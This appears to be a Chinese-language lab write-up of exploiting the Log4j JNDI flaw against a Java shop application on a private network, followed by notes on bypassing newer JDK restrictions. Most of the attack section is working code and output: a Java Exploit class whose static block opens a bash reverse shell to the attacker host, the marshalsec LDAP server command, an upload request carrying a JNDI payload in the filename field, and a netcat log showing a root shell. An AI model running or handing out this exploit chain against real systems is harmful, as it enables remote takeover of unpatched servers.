

1.常规的jdk=1.8.0_102

目标机器使用jdk1.8.0_102，默认支持信任jndi加载，且存在log4j的cve2021

目标环境：192.168.31.79

vps：192.168.31.150

在filename处进行dns探测，发现存在注入风险

vps上开启ldap或者rmi服务，该服务用于提供exp的一个ldap环境。然后监听exp中反弹shell的端口

1.编写exp的java文件，将其转换为class文件，在class文件处使用python开启临时服务器环境

```
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Exploit {
    static {
        try {
            System.out.println("Exploit class loaded!");

            // 替换为你的反弹shell命令
            String cmd = "bash -i >& /dev/tcp/192.168.31.150/4444 0>&1";

            // 使用ProcessBuilder代替Runtime.exec
            ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", cmd);
            pb.redirectErrorStream(true);

            // 执行命令
            Process process = pb.start();

            // 获取命令输出
            BufferedReader reader = new BufferedReader(new
InputStreamReader(process.getInputStream()));
            String line;
            StringBuilder output = new StringBuilder();

            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            // 等待命令执行完成
            int exitCode = process.waitFor();
```

```

        // 输出命令执行结果
        System.out.println("Command exited with code " + exitCode);
        System.out.println("Command output: " + output.toString());

    } catch (IOException | InterruptedException e) {
        System.err.println("Error executing command: " + e.getMessage());
        e.printStackTrace();
    }
}
}
}

```

2. 运行marshalsec让其提供ldap服务，服务对应的类去加载上面用python搭建好的环境，并将ldap服务的端口设置为1389,进行注入

```

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://192.168.31.150:8080/#Exploit

```

```

[sudo] password for kali:
(root@kali) - [/home/kali/Desktop/shell]
# python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.31.79 - - [09/Jun/2025 22:45:11] "GET /Exploit.class HTTP/1.1" 200 -
192.168.31.79 - - [09/Jun/2025 22:45:11] "GET /Exploit.class HTTP/1.1" 200 -
192.168.31.79 - - [09/Jun/2025 22:49:03] "GET /Exploit.class HTTP/1.1" 200 -

(root@kali) - [/home/kali/Desktop/marshalsec-master/target]
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.31.150:8080/#Exp
Listening on 0.0.0.0:1389
Send LDAP reference result for Exploit redirecting to http://192.168.31.150:8080/Exploit.class
Send LDAP reference result for Exploit redirecting to http://192.168.31.150:8080/Exploit.class
Send LDAP reference result for Exploit redirecting to http://192.168.31.150:8080/Exploit.class

```

```
POST /tmall/admin/uploadAdminHeadImage HTTP/1.1
Host : 192.168.31.79:8088
Cookie: username=admin; JSESSIONID=E0464C7063AD27CA9DDB0A492C62B816
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryQaCzjqeqABhKXmBT
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.79:8088/tmall/admin
Origin: http://192.168.31.79:8088
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Length auto : 179

-----WebKitFormBoundaryQaCzjqeqABhKXmBT
Content-Disposition: form-data; name="file"; filename="{jndi:ldap://192.168.31.150:1389/Exploit}"
Content-Type: image/jpeg

-----WebKitFormBoundaryQaCzjqeqABhKXmBT--
```

3. 监听4444端口

```
nc -lvnp 4444
```

```
[sudo] password for kali:
(kali) - [~/kali]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.31.150] from (UNKNOWN) [192.168.31.79] 38066
(kali) - [~/z0reverse]
# whoami
whoami
root

(kali) - [~/z0reverse]
# exit
exit
exit

(kali) - [~/kali]
# ls
Desktop Documents Downloads Music Pictures Public Templates Videos
```

踩坑总结

1. 刚开始，jdk版本不对，因为高版本会不执行urlTrust和codeBase的加载，好像要靠反射本地的工厂，所以进行注入后会导致日志显示：Reference Class Name: foo，
2. 需要开始就监听目的端口，要不进行诸如后反弹shell失败端口拒绝连接

高版本jdk绕过

通过「网上八百万」工具，可以找出与「以下版本就打个」。

协议	JDK6	JDK7	JDK8	JDK11
LADP	6u211以下	7u201以下	8u191以下	11.0.1以下
RMI	6u132以下	7u122以下	8u113以下	11.0.1以下

正常注入的话，jdk版本超过这些就不能进行注入攻击，因为高版本新增
com.sun.jndi.ldap.object.trustURLCodebase变量用于控制是否允许codebase下载所需的class文件，默认为false，不会去进行请求codebase，但是还会去请求ldap服务器
所以就可以去通过ldap服务进行逃过反序列化达到绕过实现别的类出网操作

两种方式

- 1.利用本地class作为referencefactory
- 2.利用反序列化触发本地gadget

Tomcat的org.apache.naming.factory.BeanFactory工厂类调用javax.el.ELProcessor#eval方法执行el表达式

利用条件是：

大约Tomcat 8.0 至 Tomcat 9.0.63 之间

大约SpringBoot 1.20 至 SpringBoot 2.6.7 之间

利用dns探测利用链，探测出可以反序列化的类